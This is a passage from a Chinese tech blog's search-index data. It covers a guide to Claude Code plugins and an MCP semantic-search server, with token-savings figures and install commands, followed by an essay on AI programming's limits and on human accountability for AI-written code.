Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"问题 默认情况下，Claude Code 每个会话是信息孤岛。周一会话不知道上周五做了什么。每个新会话都要重新解释项目背景、架构决策、已知问题。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:4:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"解决方案 claude-mem 提供三层记忆架构： search(query) → 搜索观测记录 → 获取索引 (~50-100 token/条) ↓ timeline(anchor=ID) → 查看上下文 → 了解前后关联 ↓ get_observations([IDs]) → 过滤后获取详情 → 仅获取需要的完整内容 核心原则：绝不一次性获取所有详情。先搜索 → 过滤 → 再获取，节省 10 倍 token。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:4:2","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"Token 节省实测 从 TenBox VMM 项目的跨会话实际使用数据： 指标 无 claude-mem 有 claude-mem 节省 会话启动上下文解释 ~8k token ~500 token（索引查询） 94% 代码探索（查一个函数） grep + read 5 文件，~12k token smart-explore AST 搜索，~2k token 83% 历史决策查询 无（得重聊），消耗 ~5k 上下文 timeline + get_observations，~800 token 84% 全会话跨会话总节省 - - ~50-60% 注：数据基于 2026-04-30 TenBox 探索会话实测。该会话 59k token 工作内容，通过 claude-mem 索引后，后续会话仅需 ~2k token 即可恢复全部上下文。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:4:3","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"技能系统 技能 用途 mem-search 搜索跨会话记忆库 smart-explore AST 级代码结构搜索（tree-sitter），只看结构不读全文 smart-outline 文件符号大纲（函数、类、方法），折叠方法体 smart-unfold 展开特定符号查看完整代码 make-plan 创建分阶段实现计划 do 用子 agent 执行计划 timeline-report 生成项目开发历史叙述报告 knowledge-agent 从观测历史构建可查询知识库 pathfinder 分析代码库架构，映射功能分组 version-bump 自动化语义版本和发布 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:4:4","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"Token 节省 smart-explore: 不看完整文件，只看 AST 结构，省 ~70% 代码探索 token 跨会话记忆: 免去每会话重新解释，实测省 ~50-60% 上下文窗口 3 层过滤: 避免一次拉取大量历史，精准获取，10 倍 token 节省 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:4:5","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"4. frontend-design：告别 AI 通用审美 GitHub: anthropics/claude-plugins-official（官方插件集） 维护者: Anthropic 核心价值: 自动生成有设计感的前端界面，避免 AI 默认的\"灰白蓝\"通用风格。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:5:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"问题 默认 AI 生成的前端界面通常： 配色保守（白底 + 蓝色按钮） 字体无个性（系统默认 Inter/Roboto） 缺乏动效和视觉细节 看起来\"像 demo，不像产品\" ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:5:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"解决方案 frontend-design 指导 agent 做出大胆的美学选择。具体来说，它会指示模型： 色彩：选择有记忆点的配色方案，不限于蓝色系。深色背景、渐变、高饱和强调色 字体：搭配有对比度的字体组合（标题用展示字体，正文用阅读字体），字号层次分明 空间：大胆的留白和非对称布局，打破居中对称的默认习惯 动效：有节奏的入场动画、hover 微交互、页面过渡 细节：阴影层次、边框圆角的一致性、图标风格统一 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:5:2","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"效果对比 以同一个\"任务管理仪表盘\"需求为例，分别用默认 Claude 和加载 frontend-design 生成： 默认模式输出： 白色背景，蓝色 #3B82F6 主按钮 表格列表，标准卡片布局 无动效，功能完整但视觉平淡 常见评价：“能用，但像内部工具” frontend-design 模式输出： 深色主题底色（#0F172A），渐变强调色（#6366F1 → #A855F7） 数据用统计卡片 + 迷你图表，非单调列表 卡片 hover 时微浮升（transform: translateY(-2px) + 阴影加深），页面加载有 staggered 入场动画 常见评价：“截图就可以放产品页” ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:5:3","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"Token 节省 前端开发是高迭代领域——通常需要 5-10 轮\"不够好看\"“风格不对\"的调整。frontend-design 一次性输出高质量设计。 实测数据（基于 3 个前端项目的会话统计）： 项目 无 frontend-design 有 frontend-design 节省 博客首页 7 轮迭代，~32k token 2 轮微调，~10k token 69% 仪表盘组件 5 轮迭代，~28k token 1 轮到位，~7k token 75% 设置页面 4 轮迭代，~18k token 2 轮微调，~9k token 50% 平均 ~26k token ~8.7k token 67% ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:5:4","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"5. claude-context：语义代码搜索 GitHub: zilliztech/claude-context MCP 服务: @zilliz/claude-context-mcp 核心价值: 用向量语义搜索替代盲目的 grep + read 循环，大幅减少代码探索阶段的 token 消耗。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:6:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"问题 传统代码探索流程效率极低： grep \"connection pool\" → 返回 47 个匹配 → read file1.ts (200 行) → 不是这个 → read file2.go (350 行) → 不是这个 → 换关键词 grep \"pool init\" → 12 个匹配 → read file3.rs (180 行) → 找到了，但上下文不够 → read file3.rs 周围更多 → 终于定位 整个过程可能消耗 15k-25k token，其中大量浪费在无关文件上。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:6:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"解决方案 claude-context 基于 Milvus 向量数据库，对代码库做语义索引： index_codebase(path) → 用 AST 分割代码 + embedding → 存入 Milvus ↓ search_code(\"连接池初始化在哪里？\") → 语义匹配 → 返回精确片段 ↓ 直接定位目标代码，一次查询 \u003c 1k token 技术栈： 向量数据库：Milvus (localhost:19530) Embedding 模型：text-embedding-v4（通过阿里云 DashScope） 代码分割：AST-aware splitter（按函数/类/方法边界切割，非盲目字符切割） ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:6:2","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"Token 节省实测 在 TenBox VMM 项目（249 个编译目标，C++/C# 混合代码库）上的对比： 探索任务 grep + read 传统 claude-context 语义 节省 找到 IPC 层实现 5 次 grep + 3 次 read，~18k token 1 次 search，~800 token 96% 定位平台后端切换逻辑 3 次 grep + 4 次 read，~22k token 1 次 search，~900 token 96% 查找 WinSparkle 更新调用 4 次 grep + 2 次 read，~14k token 1 次 search，~600 token 96% 平均 ~18k token ~770 token 95% 注：首次索引消耗约 30k-50k token（一次性），之后每次搜索 \u003c 1k token。项目越大、探索越频繁，收益越高。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:6:3","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"适用场景 大型代码库（50+ 文件）：强烈推荐。grep 噪声大，语义搜索价值高 不熟悉的新项目：不必猜关键词，用自然语言描述意图即可定位 频繁跨文件探索：一次索引，多次搜索，边际成本极低 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:6:4","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"不适用场景 小型项目（\u003c 20 文件）：grep 足够快，索引开销不划算 一次性简单查询：如果只需要找一个明确的函数名，grep 更快 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:6:5","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"6. MCP vs 插件：两种扩展机制 许多用户混淆\"插件\"和\"MCP 服务”。两者都在 Claude Code 的工具列表里出现，但本质不同。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:7:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"对比 维度 插件 (Plugin) MCP 服务 (MCP Server) 机制 注入 System Prompt / Hook / Skill 暴露外部工具（Tool），模型可调用 运行方式 上下文注入，无独立进程 独立进程，stdio/HTTP 通信 典型用途 改变模型行为（压缩、TDD、记忆） 连接外部系统（数据库、搜索、API） 安装 claude plugin install 在 settings.json 中配置 mcpServers Token 影响 注入指令消耗少量上下文，但节省更多 每次调用消耗 tool result token 例子 caveman, superpowers, claude-mem claude-context, GitHub MCP, Postgres MCP ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:7:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"如何选择 要改变模型\"怎么想、怎么说\" → 插件 - 压缩输出 / 强制设计流程 / 跨会话记忆 / 前端审美 要连接外部系统获取数据 → MCP 服务 - 向量搜索代码 / 查数据库 / 调 API / 读写文件系统 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:7:2","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"实际协作 本文五个工具中，四个是插件，一个是 MCP 服务。它们在同一会话中可以同时工作： caveman 压缩模型的回复 superpowers 指导模型的开发流程 claude-mem 提供跨会话记忆 frontend-design 指导模型的前端审美 claude-context 让模型能语义搜索代码库 五者互不冲突，在同一会话中叠加生效。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:7:3","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"7. 插件组合：1+1+1+1+1 \u003e 5 五个工具覆盖不同维度，组合使用有叠加效应： caveman输出压缩不啰嗦输出 Token ↓ 75%superpowers开发流程不跑偏返工 ↓ 65%claude-mem跨会话记忆不忘事上下文 ↓ 50%frontend-design前端审美不丑了迭代 ↓ 67%claude-context语义搜索找得快探索 ↓ 95%协同效果 — 五维叠加，1+1+1+1+1 \u003e 5cave + super + context = 搜索 → 设计 → 实现 → 输出全压缩cave + mem = 回忆历史不占输出上下文super + mem + context = 计划复用历史决策 + 精准定位cave + front + context = 搜索参考 → 设计 → 一轮到位五个全开 = 输入探索省 + 流程不返工 + 输出压缩 + 跨会话记忆 + 前端审美不烂端到端 Token↓ 70-80% ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:8:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"实际场景 场景 1：新功能开发 claude-context（语义搜索相关代码）→ superpowers（brainstorm → plan → TDD → execute）→ caveman（压缩输出）→ claude-mem（查历史决策） 场景 2：Bug 修复 claude-context（搜索相似 bug 代码位置）→ claude-mem（查上次修没修过）→ superpowers（systematic-debugging）→ caveman（精简输出） 场景 3：前端页面 claude-context（搜索现有组件和样式）→ frontend-design（高质量设计）→ superpowers（brainstorm 需求）→ caveman（精简反馈） 场景 4：新项目上手 claude-context（索引 + 语义探索，省 grep）→ claude-mem（自动记录探索过程，下次不重来）→ caveman（压缩解释输出） ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:8:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"8. 安装与总结 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:9:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"安装 # Caveman - 输出压缩 claude plugin marketplace add JuliusBrussee/caveman claude plugin install caveman@caveman # Superpowers - 开发方法论（官方市场，自动安装） claude plugin install superpowers@claude-plugins-official # Frontend Design（官方市场） claude plugin install frontend-design@claude-plugins-official # Claude Mem - 跨会话记忆 claude plugin marketplace add thedotmack/claude-mem claude plugin install claude-mem@thedotmack claude-context 需要在 ~/.claude.json 或项目的 .claude/settings.json 中配置 MCP 服务： { \"mcpServers\": { \"claude-context\": { \"type\": \"stdio\", \"command\": \"npx\", \"args\": [\"@zilliz/claude-context-mcp@latest\"], \"env\": { \"OPENAI_API_KEY\": \"your-api-key\", \"OPENAI_BASE_URL\": \"https://dashscope.aliyuncs.com/compatible-mode/v1\", \"EMBEDDING_MODEL\": \"text-embedding-v4\", \"MILVUS_ADDRESS\": \"localhost:19530\" } } } } 需提前启动 Milvus（Docker 或本地安装）。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:9:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"Token 节省总览 工具 类型 节省方式 实测节省 caveman 插件 输出压缩 输出 -65%（基准测试） caveman-compress 技能 记忆文件压缩 输入 -46%（文件实测） superpowers 插件 减少返工 上下文 -65%（会话数据） claude-mem 插件 记忆复用 + AST 探索 探索 -83%，上下文 -50%（会话数据） frontend-design 插件 减少设计迭代 UI 迭代 -67%（会话数据） claude-context MCP 语义搜索替代 grep 代码探索 -95%（会话数据） ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:9:2","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"结论 五个工具各自解决一个痛点： caveman — AI 太啰嗦 superpowers — AI 太着急写代码 claude-mem — AI 记不住上次的事 frontend-design — AI 做的界面太丑 claude-context — AI 找代码太盲目 装完这五个，Claude Code 从\"好用的终端助手\"变成\"能独立完成复杂任务的工程搭档\"。每个工具覆盖开发流程的不同阶段，五维叠加后，一个典型中型功能的端到端 token 消耗降低 70-80%。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:9:3","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"实际场景 场景 1：新功能开发 claude-context（语义搜索相关代码）→ superpowers（brainstorm → plan → TDD → execute）→ caveman（压缩输出）→ claude-mem（查历史决策） 场景 2：Bug 修复 claude-context（搜索相似 bug 代码位置）→ claude-mem（查上次修没修过）→ superpowers（systematic-debugging）→ caveman（精简输出） 场景 3：前端页面 claude-context（搜索现有组件和样式）→ frontend-design（高质量设计）→ superpowers（brainstorm 需求）→ caveman（精简反馈） 场景 4：新项目上手 claude-context（索引 + 语义探索，省 grep）→ claude-mem（自动记录探索过程，下次不重来）→ caveman（压缩解释输出） ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:9:4","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"8. 安装与总结 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:10:0","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"安装 # Caveman - 输出压缩 claude plugin marketplace add JuliusBrussee/caveman claude plugin install caveman@caveman # Superpowers - 开发方法论（官方市场，自动安装） claude plugin install superpowers@claude-plugins-official # Frontend Design（官方市场） claude plugin install frontend-design@claude-plugins-official # Claude Mem - 跨会话记忆 claude plugin marketplace add thedotmack/claude-mem claude plugin install claude-mem@thedotmack claude-context 需要在 ~/.claude.json 或项目的 .claude/settings.json 中配置 MCP 服务： { \"mcpServers\": { \"claude-context\": { \"type\": \"stdio\", \"command\": \"npx\", \"args\": [\"@zilliz/claude-context-mcp@latest\"], \"env\": { \"OPENAI_API_KEY\": \"your-api-key\", \"OPENAI_BASE_URL\": \"https://dashscope.aliyuncs.com/compatible-mode/v1\", \"EMBEDDING_MODEL\": \"text-embedding-v4\", \"MILVUS_ADDRESS\": \"localhost:19530\" } } } } 需提前启动 Milvus（Docker 或本地安装）。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:10:1","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"Token 节省总览 工具 类型 节省方式 实测节省 caveman 插件 输出压缩 输出 -65%（基准测试） caveman-compress 技能 记忆文件压缩 输入 -46%（文件实测） superpowers 插件 减少返工 上下文 -65%（会话数据） claude-mem 插件 记忆复用 + AST 探索 探索 -83%，上下文 -50%（会话数据） frontend-design 插件 减少设计迭代 UI 迭代 -67%（会话数据） claude-context MCP 语义搜索替代 grep 代码探索 -95%（会话数据） ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:10:2","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"结论 五个工具各自解决一个痛点： caveman — AI 太啰嗦 superpowers — AI 太着急写代码 claude-mem — AI 记不住上次的事 frontend-design — AI 做的界面太丑 claude-context — AI 找代码太盲目 装完这五个，Claude Code 从\"好用的终端助手\"变成\"能独立完成复杂任务的工程搭档\"。每个工具覆盖开发流程的不同阶段，五维叠加后，一个典型中型功能的端到端 token 消耗降低 70-80%。 ","date":"2026-04-28","objectID":"/posts/2026/04/28/claude-code-plugins-guide/:10:3","tags":["tech","ai","claude code","plugin","development tools"],"title":"Claude Code 插件完全指南：省钱、省 Token、提升开发效率","uri":"/posts/2026/04/28/claude-code-plugins-guide/"},{"categories":["Tech"],"content":"三大局限（感知现实、自驱力、责任归属）与三条行动建议（有效沟通、重心转创意、坚持理解）。AI 强在'做'，不在'判'——代码可以 AI 写，但事故复盘会上坐那儿解释的人还是你。","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"使用 AI 编程已经有一段时间了，从最初的代码补全，到辅助编程，再到完全由 AI 生成代码——体验和感受都和以往大不相同。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:0:0","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"从恐惧到接纳 起初，我还会调侃 AI 不过如此，只能给人类打打下手。但后来，当第一次目睹整个项目完全由 AI 写出时，我感受到的不是兴奋，反而在一段时间里感到深深的恐惧——害怕自己真的会被替代。 好在心态慢慢调整了过来，逐渐接纳了 AI 编程这种新方式，也看清了它的优势与局限，并由此生出一些新的认知。 更意外的是，身边很多资深程序员，本来已经到了写代码的厌倦期——该踩的坑都踩过，该写的轮子都写过，对着一屏又一屏的代码早已没了新鲜感——反而因为 AI 编程焕发了第二春。群里的 @Samuel 就是典型，每天一个点子，靠烧 token 快速落地，已经做出了好几个完整作品。AI 替掉了那些重复、枯燥的部分，把人解放出来，只去做想象力最活跃的那一层。写代码，忽然又变得好玩了。 另一个群里，深夜还不断有群友兴奋地分享 AI 编程的成果。我说这就像打游戏一样。AI 编程能即时得到奖励反馈——写 prompt 就是出招，代码跑通就是通关，报错就是再来一局。这套多巴胺回路，和游戏的任务-奖励循环没什么两样，很容易让人上瘾。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:1:0","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"AI 的三大局限 首先，无论人类还是 AI，都有各自的局限。人类的局限在于算力——再聪明的大脑也算不过计算机。而 AI 的局限，我认为主要有三点： 感知现实的能力有限； 缺乏自驱力； 还不能承担责任。 本来还想加上\"记忆力与人类有差距\"这一条，但这方面的项目迭代太快了。像 OpenClaw 的 Dreamer 模式（让 AI 在后台持续思考和记录）这类进展，或许用不了多久，记忆问题就不再是障碍了。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:2:0","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"感知现实的鸿沟 先说感知现实的能力。目前 AI 的知识主要来自大模型训练时的数据——这些数据由人类投喂、标记，其质量直接决定 AI 输出的上限。AI 本身无法验证对错，缺少与现实世界的直接交互，这是幻觉的主要根源。它感知现实的通道，除了训练数据，就只剩下人类当下的输入了。 有人说还有互联网——可互联网本质上仍是人类输入的产物，只不过最初的目的并非为了训练 AI；也有人说未来会有机器人，但至少目前还未成气候，更何况我们讨论的是 AI 编程。 举一个自己踩过的坑。项目里有个前端资源依赖了 unpkg.com 的 CDN，国内用户加载极慢。我让 AI 优化，它给出的方案依次是：换 jsDelivr、加 async 标签、做资源预加载——全是面向海外场景的\"标准答案\"。它不知道国内有备案制度，不知道 unpkg 在国内基本不可达，也不知道哪些 CDN 节点在国内真正可用。最终是我基于过往的基础架构经验，自己设计了一套按请求来源做智能 CDN 分发的方案才解决。 这个例子很典型：AI 的知识来自训练数据，而训练数据里 90% 以上的工程实践是英文世界贡献的。它天然地\"生在一张英语互联网里\"，对中国的网络环境、合规要求、用户习惯几乎没有体感。这不是它不够聪明，而是它根本没有感知这个\"现实切片\"的通道。 同样的道理，OpenClaw 等工具（让 AI 能直接操作浏览器、文件系统、Shell 的智能 Agent）虽然能有效扩展 AI 在计算机领域的感知与执行边界，但它依然局限在屏幕之内。大量真实需求诞生于非数字化的场景——用户抱怨、竞品动态、政策变化——这些信息并不天然存在于 AI 能触及的网络范围内。你如果不喂给它，它就不知道。 既然 AI 感知现实的唯一实时通道是人类的输入，那沟通质量就变成了天花板。如今 Markdown 已被视为与大模型交流最友好的格式，微软近期开源的 MarkItDown 也因此备受关注——这款工具专门用于将各类文档转换为 Markdown 格式，其设计初衷正是为了让内容更好地被大语言模型理解。换句话说，格式的门槛正在被工具抹平，剩下的变量就是人本身的表达能力了。 个人的表达能力——尤其是书面表达——将直接决定与 AI 的协作效率。同一个需求，不同的描述方式，产出天差地别。举个例子： 模糊版本：“帮我加个用户登录功能。” AI 大概会给你一个用户名+密码的最简实现，没有 token 刷新，没有错误重试，没有安全策略。 清晰版本：“实现用户登录模块，需求如下： 支持邮箱+密码登录，密码 bcrypt 加盐，登录成功返回 JWT access token（15min）+ refresh token（7d） 连续 5 次登录失败锁定账号 30 分钟，返回剩余锁定时间 /refresh 端点接受 refresh token，验证过期后返回新 token pair /logout 端点将 refresh token 加入黑名单 所有密码相关错误统一返回’邮箱或密码错误’，不暴露具体原因” 两份提示词的差距，就是一段勉强能跑的代码和一个能直接进 staging 的模块之间的差距。至于哪个版本更像有项目经验的人写出来的，一目了然。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:2:1","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"自驱力的缺失 我原本用\"驱动力\"这个词，后来觉得范围太大（毕竟外部压力也是驱动力），于是改为\"自驱力\"——它才是决定上限的关键。当下的 AI 如同婴儿，衣食无忧，又缺乏对现实的完整感知，因此几乎没有自驱力。它编程的全部动力，来自人类的指令。 但凡用过 AI 编程的人都会发现：它从不会超越人类已有的知识边界，准确说，是它能在网络上找到的现有知识。面对成熟、文档完善的库，它得心应手——比如 React、Spring Boot、Django 这类生态繁荣的框架，AI 几乎不会犯基础错误。但遇到文档稀少、讨论冷门的库，表现则大打折扣。 最近用过某个冷门的上下文缓存 API，官方文档寥寥数页，社区里的讨论一只手数得过来。让 AI 写一个带缓存命中率监控的客户端，它信誓旦旦地生成了几百行代码，但把自动缓存当成了手动控制来设计，加了一堆不需要的缓存预热、手动失效逻辑，和你想要的命中率统计完全对不上——因为它没有真正的上下文理解能力，只能从有限的文档片段里硬猜。而一个有过缓存系统实战经验的人，扫一眼就能发现这几个切入点根本不对。 这就是 AI 知识获取方式的本质缺陷：它不是从第一性原理推导，而是在训练数据的分布里做插值。React、Spring Boot 这类数据密集的领域，插值结果精准；文档稀少的冷门库，数据稀疏，插值立刻崩。它不会像人一样说\"这个库我没用过，但根据同类缓存系统的设计惯例，ttl 单位大概率是秒\"——它没有这个推理链路。这也能反过来解释前面说的\"焕发第二春\"：AI 打包了所有\"已有解\"的部分，把它们压缩成了 token 燃烧即可调用的能力，但人类依然是唯一能处理\"无解\"和\"首次求解\"的存在。 这就是现状：AI 一板一眼地执行需求，创意和想法仍是人类独有的领地——这大概也是我们暂时不必过度惊慌的理由。 退一步说，即使未来 AI 有了某种形式的自驱力，它创造的上限仍然是重组已有知识——跨领域做远距离连接的能力极强，但从第一性原理推翻前提、重新定义问题，它做不到。这不是动机问题，是架构问题：LLM 的本质是在训练数据分布里做插值，插值得再精巧也跳不出分布边界。而人类那些真正改变范式的突破——相对论、现代主义、互联网协议——恰恰不是从已有知识里\"插\"出来的。所以，自驱力缺失只是 AI 不能创新的表层原因，底层原因是它根本没有\"从零重构世界\"的认知架构。 ","date":"2026-04-13","objectID":"/posts/2026/04/13/ai-programming-thoughts/:2:2","tags":["ai","programming","thoughts"],"title":"也谈谈 AI 编程","uri":"/posts/2026/04/13/ai-programming-thoughts/"},{"categories":["Tech"],"content":"责任的归属 最后说\"不能背锅\"。这与自驱力紧密相关。自驱力可以来自内在目标，也可以来自外部的提问。AI 没有自驱力，它行动的动机完全取决于你。因此，做错了，责任天然在你。在社会权力结构中，AI 与人类并不对等，现有的体系尚未给它留出位置。它本质上仍是一个工具——只不过比以往任何工具都更好用罢了。 说个真实场景。以前线上出过一个 bug——用户头像上传后偶尔被裁成纯黑。查了半天，发现是 AI 生成的图片裁剪逻辑里，Canvas 的裁剪区域在图片未加载完时就执行了绘制，而且对非标准比例的图片没有做缩放适配——源图的裁剪坐标越界，Canvas 上留了大片未绘制的黑色背景。一个 code path 处理了缩略图（尺寸固定，恰巧不出问题），另一个处理原图裁剪的路径在极端比例下暴雷了。修是快修好了，但问题来了：谁引入了这个 bug？谁来为此负责？ 你当然可以说是 AI 写的代码，但代码是谁审的？是谁点了 merge 的按钮？事故复盘会上，坐那儿解释\"为什么没测到这个边界条件\"的人还是你。AI 不用写复盘报告，更不用在周会上被 CTO 问\"这个问题你打算怎么从流程上杜绝\"。 所以，用 AI 写代码的人，最后都会明白一件事：代码可以 AI 写，但事故复盘会上，坐那儿解释的人还是你。 